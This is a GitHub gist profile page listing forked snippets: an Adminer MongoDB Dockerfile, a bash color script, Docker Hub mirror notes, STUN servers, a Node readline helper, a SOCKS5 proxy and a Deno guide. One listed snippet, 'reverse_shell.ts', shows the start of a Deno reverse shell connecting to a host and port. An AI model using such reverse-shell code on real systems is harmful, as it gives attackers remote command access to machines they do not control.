Skip to content

Instantly share code, notes, and snippets.

View image72's full-sized avatar

image72 image72

View GitHub Profile
@image72
image72 / Dockerfile
Created July 11, 2024 13:25 — forked from rickxz/Dockerfile
Adminer MongoDB docker image
FROM adminer:4.8.0
# WATCH OUT WHEN UPGRADING, THE SED BELOW MIGHT STOP WORKING
USER root
RUN apk add autoconf gcc g++ make libffi-dev openssl-dev
RUN pecl install mongodb
RUN echo "extension=mongodb.so" > /usr/local/etc/php/conf.d/docker-php-ext-mongodb.ini
# MongoDB allows connections without password.
# But that doesn't fly with Adminer which prints 'Database does not support password.' for such case.
@image72
image72 / colors.bash
Created June 21, 2024 15:48 — forked from yesmar/colors.bash
Colorized output using tput(1)
#!/bin/bash
# ~/.local/etc/colors
# Wed Jan 21 19:04:30 PST 2015 yesmar@gmail.com
# Colorized output using tput(1). This script falls back to using ANSI escape
# codes if tput(1) is unavailable. All color names have been sourced from
# http://www.december.com/html/spec/colorhex.html
# shellcheck disable=SC2034
@image72
image72 / docker-registry-mirrors.md
Created April 26, 2024 06:20 — forked from y0ngb1n/docker-registry-mirrors.md
国内的 Docker Hub 镜像加速器,由国内教育机构与各大云服务商提供的镜像加速服务 | Dockerized 实践 https://github.com/y0ngb1n/dockerized

Docker Hub 镜像加速器

国内从 Docker Hub 拉取镜像有时会遇到困难,此时可以配置镜像加速器。Docker 官方和国内很多云服务商都提供了国内加速器服务。

Dockerized 实践 https://github.com/y0ngb1n/dockerized

配置加速地址

Ubuntu 16.04+、Debian 8+、CentOS 7+

to check if the server works - https://webrtc.github.io/samples/src/content/peerconnection/trickle-ice
stun:
stun.l.google.com:19302,
stun1.l.google.com:19302,
stun2.l.google.com:19302,
stun3.l.google.com:19302,
stun4.l.google.com:19302,
stun.ekiga.net,
stun.ideasip.com,
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@image72
image72 / webdav-vs-rest.md
Created July 30, 2023 16:05 — forked from PVince81/webdav-vs-rest.md
Webdav vs REST
Operation Webdav REST
@image72
image72 / readLineAssync.js
Created July 28, 2023 16:09 — forked from mauroao/readLineAssync.js
Node.js - Read line from stdin asynchronously (async / await)
const readline = require('readline');
const readLineAsync = () => {
const rl = readline.createInterface({
input: process.stdin
});
return new Promise((resolve) => {
rl.prompt();
rl.on('line', (line) => {
@image72
image72 / 从Node到Deno.md
Created March 8, 2023 11:19 — forked from futurist/从Node到Deno.md
从Node到Deno

从Node到Deno,你需要知道的

* 第一部分:安装

以MacOS系统为例,说明安装的不同

A. Node安装

涉及的文件:node, npm, npx, node_modules 文件夹

@image72
image72 / reverse_shell.ts
Created March 5, 2023 10:39 — forked from Axone7953/reverse_shell.ts
Reverse shell deno
const conn = await Deno.connect({ hostname: "127.0.0.1", port: 7953 });
const decoder = new TextDecoder(),
encoder = new TextEncoder();
const safe = (buffer: Uint8Array) => encoder.encode(decoder.decode(buffer));
async function pipe(reader: Deno.Reader, writer: Deno.Writer, debug=false) {
const buffer = new Uint8Array(32 * 1024);
@image72
image72 / socks5.js
Created August 2, 2022 05:15 — forked from longbill/socks5.js
Socks5 proxy server in pure javascript
const net = require('net')
net.createServer(client => {
client.once('data', data => {
client.write(Buffer.from([5, 0]));
client.once('data', data => {
data = [...data];
let ver = data.shift();
let cmd = data.shift(); //1: connect, 2: bind, 3: udp
let rsv = data.shift();